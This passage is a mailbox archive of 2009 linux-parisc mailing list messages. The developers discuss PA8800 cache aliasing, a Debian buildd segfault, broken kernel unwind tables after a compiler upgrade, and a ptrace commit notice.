> > pa8800 that we haven't quite bothered to work out yet, since it's "good
> > enough" for now. James probably knows more. It would be interesting to
> > see if you could reproduce it with a UP 64-bit kernel on your C3750 to
> > discount the L2 problems.
> 
> Googling, I see Grant had trouble with RCU_TORTURE_TEST=y.  Probably,
> I should test current kernel to see if the problem is still present.
> 
> I guess you are referring to this change:
> http://fossplanet.com/linux.debian.devel.kernel.cvs/thread-4378354-r7141-patches/
> 
> I'm thinking we must be missing a flush...  Maybe in clear_user_page
> as for copy_user_page?

Clear user page is very clever and doesn't need a flush.  What it does
is clear the page through the users cache rather than the kernel's ...
what it actually does is place zeros in the cache above the physical
page, so the user can only access the zeros ... they eventually get
cleaned back to the page as the cache empties.

> Do the problematic debian buildd machines have pa8800/pa8900 processors?

No boxes outside of the cupertino test ring and a few giveaways (you,
kyle and t-bone, I think) have pa88/8900 cpus.

> My sense is that some change (probably to the core memory management
> code) made the coherence issue worse post 2.6.22.x.

So if I characterise the problem you think you're seeing: on mmap of a
file at a memory location to be determined by the kernel, a sequential
set of reads of the mapped location eventually turns up a zero where
there should be data?  Yes, it does sound like a caching issue.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 07 Jul 2009 09:22:23 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <1246976543.4522.14.camel@mulgrave.site>
References: <119aab440907060936x7051933fgfde585df640ca1b1@mail.gmail.com>
	 <20090706184539.5A76D4FE0@hiauly1.hia.nrc.ca>
	 <20090706214315.GA3826@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246976560 4386 80.91.229.12 (7 Jul 2009 14:22:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 14:22:40 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>, randolph@tausq.org,
	deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 16:22:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOBZ0-0006if-Lo
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 16:22:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756324AbZGGOWa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 10:22:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755761AbZGGOWa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 10:22:30 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53486 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755336AbZGGOW3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 10:22:29 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E83728EE12C;
	Tue,  7 Jul 2009 07:22:28 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id sPtLYFGUaxNw; Tue,  7 Jul 2009 07:22:28 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 391A68EE0D5;
	Tue,  7 Jul 2009 07:22:26 -0700 (PDT)
In-Reply-To: <20090706214315.GA3826@bombadil.infradead.org>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1887 gmane.linux.debian.ports.hppa:5825 gmane.linux.debian.devel.release:31057
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1887>

On Mon, 2009-07-06 at 17:43 -0400, Kyle McMartin wrote:
> On Mon, Jul 06, 2009 at 02:45:37PM -0400, John David Anglin wrote:
> > I have to think that this has something to do with the machine
> > being a rp3440 (large memory and cache).  I have never seen this
> > on my c3750 with 32-bit UP kernel.  Also, this was with a 64-bit
> > UP kernel.
> > 
> 
> If I remember correctly, there's still some issues with the L2 cache on
> pa8800 that we haven't quite bothered to work out yet, since it's "good
> enough" for now. James probably knows more. It would be interesting to
> see if you could reproduce it with a UP 64-bit kernel on your C3750 to
> discount the L2 problems.

The pa8800/8900 are very special systems.  They have an L1/L2 VIPT cache
but an L2 PIPT one.  All other parisc systems have VIPT throughout.

The problem with the VIPT/PIPT combination is that you can get read only
stale alias resolution between the VIPT/PIPT hierarchy ... linux just
doesn't expect this to happen.  We work around this with extra flushes
in kmap to prevent the read only alias resolution from happening.
There's nothing missing in the logic of this, the only problem is that
its operation treats the vast L2 PIPT cache as a useless boat anchor
whose only job is to make life harder for us ... so we're getting
absolutely no benefit from the 25-50MB of cache there.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 7 Jul 2009 12:21:57 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20090707162158.26D514FB2@hiauly1.hia.nrc.ca>
References: <1246975877.4522.9.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246983800 30261 80.91.229.12 (7 Jul 2009 16:23:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 16:23:20 +0000 (UTC)
Cc: kyle@mcmartin.ca, carlos@systemhalted.org, randolph@tausq.org,
	deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 18:23:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MODRd-00032u-7a
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 18:23:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757566AbZGGQWB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 12:22:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756498AbZGGQWB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 12:22:01 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4180 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758174AbZGGQWA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 12:22:00 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 26D514FB2; Tue,  7 Jul 2009 12:21:57 -0400 (EDT)
In-Reply-To: <1246975877.4522.9.camel@mulgrave.site> from "James Bottomley" at Jul 7, 2009 09:11:17 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1888 gmane.linux.debian.ports.hppa:5826 gmane.linux.debian.devel.release:31058
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1888>

> So if I characterise the problem you think you're seeing: on mmap of a
> file at a memory location to be determined by the kernel, a sequential
> set of reads of the mapped location eventually turns up a zero where
> there should be data?  Yes, it does sound like a caching issue.

Yes.  The loop is terminated by a null tag:

  while (dyn->d_tag != DT_NULL)
      {
         ...
      }

However, the core dump doesn't show a null tag before the STRTAB tag
that caused the segmentation fault.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Tue, 7 Jul 2009 17:29:33 GMT
Lines: 17
Approved: news@gmane.org
Message-ID: <200907071729.n67HTXHV018041@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246987787 11405 80.91.229.12 (7 Jul 2009 17:29:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 17:29:47 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 19:29:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOEU4-0002xx-6i
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 19:29:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752390AbZGGR3f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 13:29:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754087AbZGGR3f
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 13:29:35 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:33917 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752390AbZGGR3e (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 13:29:34 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+ZfQ2fsj9GoqZCiBJUPoTt3dvWbHf+ozg@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n67HTXJf018045
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 7 Jul 2009 17:29:33 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n67HTXHV018041
	for linux-parisc@vger.kernel.org; Tue, 7 Jul 2009 17:29:33 GMT
X-Virus-Scanned: ClamAV 0.93.3/9540/Tue Jul  7 10:52:52 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 07 Jul 2009 17:29:33 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1889
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1889>

New commits:
commit cfbeb2a4f72dd93e714ad1c578336c30f7f887a9
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jul 7 13:27:42 2009 -0400

    parisc: unify compat PTRACE_{GET|SET}REGS paths
    
    Just call arch_ptrace for all of them and add some helpers to
    check TIF_32BIT.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: unwind tables and backtraces broken?
Date: Tue, 07 Jul 2009 20:01:46 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <4A538D8A.70002@gmx.de>
References: <4A527397.7060306@gmx.de> <4A52B98E.2070708@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246989722 17762 80.91.229.12 (7 Jul 2009 18:02:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 18:02:02 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 20:01:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOEzI-0000Q3-Rp
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 20:01:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754946AbZGGSBv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 14:01:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755203AbZGGSBv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 14:01:51 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:36973 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754946AbZGGSBu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 14:01:50 -0400
Original-Received: (qmail invoked by alias); 07 Jul 2009 18:01:48 -0000
Original-Received: from p4FDB2CCB.dip0.t-ipconnect.de (EHLO halden.box) [79.219.44.203]
  by mail.gmx.net (mp007) with SMTP; 07 Jul 2009 20:01:48 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19mfccP2wtmrX85nEuP3iY8T6uAdXYZzmzw+gilux
	Kp/fyetPXhKvuR
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <4A52B98E.2070708@tausq.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1890
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1890>

On 07/07/2009 04:57 AM, Randolph Chung wrote:
> Helge,
>
>> but the unwind table when running the kernel with the attached patch
>> (see below) shows:
>> ...
>> unwind_init: start = 0x105fb3c0, end = 0x10634f30, entries = 14775
>> unwind 1: 100ff900 - 100ffa80, len=385
>> unwind 2: 100ffa84 - 100ffad4, len=81
>> unwind 3: 100ffad8 - 100ffb2c, len=85
>> unwind 4: 100ffb30 - 100ffbc8, len=153
>> unwind 5: 100ffbcc - 100ffc38, len=109
>> unwind 6: 100ffc3c - 100ffc9c, len=97
>> unwind 7: 100ffca0 - 100ffd00, len=97
>> unwind 8: 100ffd04 - 100ffd64, len=97
>> unwind 9: 100ffd68 - 100ffdc8, len=97
>> unwind 10: 100ffdcc - 100ffdec, len=33
>>
>> From this table I don't even understand the values of the very first
>> entry (unwind 1: 100ff900 - 100ffa80).
>> This does not resolve to any entry in the assembly.
> I am a little fuzzy on the details, but the numbers printed above are
> what is stored in the unwind table. This does not correspond with the
> actual address in memory, which is adjusted by an offset. In the case of
> kernel symbols, this offset is KERNEL_START (this is a parameter passed
> to unwind_table_init()

The addresses given above already got the offset added. They are wrong
nevertheless.

>> My assumption:
>> When the linker creates the long-distance jump table, it does not adjusts
>> the values in the unwind table.
> this used to work.....

Yes.
Interestingly, this problem showed up to me now since I updated my 32- and
64bit crosscompilers to 4.3.3 (and binutils of course).
I used (on 32bit) the gcc-3.3 before and this one doesn't exibited the
problem of buggy unwind tables (with the existing/same kernel source code).

>> Second, when the linker discards attribute-weak functions,
>> it doesn't deletes/adjusts the unwind table entries of the deleted
>> functions either.
> can you try this with a userspace program? gdb uses this same unwind
> information to do backtraces. if the unwind info is wrong gdb will be
> very broken.

I'll try, but I assume userspace is ok. If it wouldn't be, Dave probably
won't be able to debug the other userspace issues (the segv-thread on debian's
buildds).
  
> On the other hand, the kernel does use a more complex linker script so
> it is possible that some options in the linker script is triggering some
> bug.

Yes, maybe. But again, I think gcc-3.3 (and the old binutils) could handle this gracefully.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: unwind tables and backtraces broken?
Date: Tue, 07 Jul 2009 20:02:43 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <4A538DC3.5070107@gmx.de>
References: <20090707005018.C697F4FE0@hiauly1.hia.nrc.ca>	 <4A52BBE2.7020507@tausq.org>	 <20090707044214.GB3826@bombadil.infradead.org> <119aab440907070707u5cbf0de7j60fb80cef470f216@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246989785 17968 80.91.229.12 (7 Jul 2009 18:03:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 18:03:05 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org, dave.anglin@nrc-cnrc.gc.ca
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 20:02:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOF0J-0000q9-Dr
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 20:02:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756031AbZGGSCr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 14:02:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755852AbZGGSCr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 14:02:47 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:47499 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756031AbZGGSCq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 14:02:46 -0400
Original-Received: (qmail invoked by alias); 07 Jul 2009 18:02:44 -0000
Original-Received: from p4FDB2CCB.dip0.t-ipconnect.de (EHLO halden.box) [79.219.44.203]
  by mail.gmx.net (mp049) with SMTP; 07 Jul 2009 20:02:44 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/nxNVFc1PnyJ4tWuWp6StyS4w1QhwBYGBMZba54L
	l37Slv5OszSZRq
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <119aab440907070707u5cbf0de7j60fb80cef470f216@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.65
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1891
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1891>

On 07/07/2009 04:07 PM, Carlos O'Donell wrote:
> On Tue, Jul 7, 2009 at 12:42 AM, Kyle McMartin<kyle@mcmartin.ca>  wrote:
>> indeed, it very briefly had a dwarf unwinder, but linus turned it off
>> again because it turned out to generate worse backtraces than just
>> chunking through stack frames with frame pointers enabled did. although,
>> there is talk of it growing one again now.
>
> It will definitely need to grow a dwarf2 unwinder.
>
> Any sane ABI should drop the hard frame pointer requirement in order
> to get better code generation. For example on ARM under the EABI there
> is no hard fp, you get that register back for other uses and it
> simplifies prologue and epilogues. If you need an offset from the fp
> the compiler synthesizes it for you, and reuses it appropriately after
> the use is dead.
>
> I thought bfd, and therefore readelf and objdump could read parisc
> unwind info, if so, then what do those tools say about this broken
> unwind info?

Any hint what I should do to give you the input you need?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: unwind tables and backtraces broken?
Date: Tue, 7 Jul 2009 14:33:10 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20090707183311.6B5AA4FB2@hiauly1.hia.nrc.ca>
References: <4A538D8A.70002@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246991604 23814 80.91.229.12 (7 Jul 2009 18:33:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 18:33:24 +0000 (UTC)
Cc: randolph@tausq.org, linux-parisc@vger.kernel.org,
	dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 20:33:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOFTf-0005Gg-Rf
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 20:33:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752607AbZGGSdO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 14:33:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753394AbZGGSdO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 14:33:14 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4194 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752607AbZGGSdO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 14:33:14 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6B5AA4FB2; Tue,  7 Jul 2009 14:33:11 -0400 (EDT)
In-Reply-To: <4A538D8A.70002@gmx.de> from "Helge Deller" at Jul 7, 2009 08:01:46 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1892
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1892>

> Interestingly, this problem showed up to me now since I updated my 32- and
> 64bit crosscompilers to 4.3.3 (and binutils of course).
> I used (on 32bit) the gcc-3.3 before and this one doesn't exibited the
> problem of buggy unwind tables (with the existing/same kernel source code).

GCC doesn't know anything about PA-RISC unwind info.  It's generated by the
assembler from assembler directives.  So, I think it's unlikely that the
problem is in GCC.

Your comments about dead-code elimination by the linker make me wonder
if that isn't the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Tue, 7 Jul 2009 18:46:58 GMT
Lines: 12
Approved: news@gmane.org
Message-ID: <200907071846.n67IkwNV010019@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246992431 26376 80.91.229.12 (7 Jul 2009 18:47:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 18:47:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 20:47:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOFgy-0001d4-E1
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 20:47:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752558AbZGGSq7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 14:46:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753865AbZGGSq7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 14:46:59 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:57533 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752558AbZGGSq7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 14:46:59 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/sH3X8K3vSGEkFXprDtEgIfUrvK2SyVYA@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n67Ikw4L010022
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 7 Jul 2009 18:46:58 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n67IkwNV010019
	for linux-parisc@vger.kernel.org; Tue, 7 Jul 2009 18:46:58 GMT
